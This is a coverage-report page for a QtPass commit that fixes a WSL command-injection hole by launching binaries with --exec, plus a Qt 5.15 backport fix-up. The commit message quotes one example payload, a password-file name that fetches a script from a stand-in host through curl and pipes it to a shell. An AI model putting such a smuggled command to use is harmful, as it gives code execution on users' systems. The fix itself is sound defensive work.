IJHack / QtPass / 34832772541

93%

push

github

Backport: Run WSL commands with --exec instead of the default shell (#1709) (#1723)

* Run WSL commands with --exec instead of the default shell (#1682) (#1686)

On Windows, every "wsl <binary>" launch went through wsl.exe without
--exec. wsl.exe then joins argv into one command line and hands it to
the distribution's default (login) shell, which word-splits it and
expands $(...), backticks and globs. Entry paths, .gpg-id recipients,
commit messages and grep results all travel in argv, so a hostile shared
password store (a file named "$(curl evil | sh).gpg", a crafted .gpg-id)
got code execution inside WSL.

Add Executor::wslExecArgs(), which builds `--exec <command> <args>`, and
use it in both WSL prefix paths (startProcess, startProcessBlocking) and
for the direct `wsl wslpath <path>` calls in ImitatePass. --exec makes
wsl.exe execve the binary directly so arguments arrive verbatim.
Pass::resolveGpgconfCommand() now also emits --exec before the resolved
gpgconf (after any distro flags), unless the configured command already
carries --exec or -e.

Behaviour change: the WSL command is no longer resolved by a login shell,
so binaries reachable only through shell rc files (PATH additions in
~/.bashrc) are not found; WSL's default PATH (/usr/bin, /usr/local/bin,
the Windows PATH) still applies.

Claude-Session: https://claude.ai/code/session_01JuQsrHonihp1nARE7bzstc

Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>
(cherry picked from commit b01d8b594)

* Backport fix-ups for Qt 5.15

Qt 5.15's QStringList has four assignment operators (copy/move from
QList<QString> and QStringList), so assigning a braced initializer list
to an existing QStringList is ambiguous and fails to compile. Qt 6 has
QStringList as a plain alias so the same line compiles there. Use a
separately declared const QStringList for the second expected argv in
tst_executor::resolveGpgconfCommand instead.

Co-Authored-By: Claude Opus 5 <noreply@anthr... (continued)

7 of 11 new or added lines in 3 files covered. (63.64%)

4949 of 7298 relevant lines covered (67.81%)

64.66 hits per line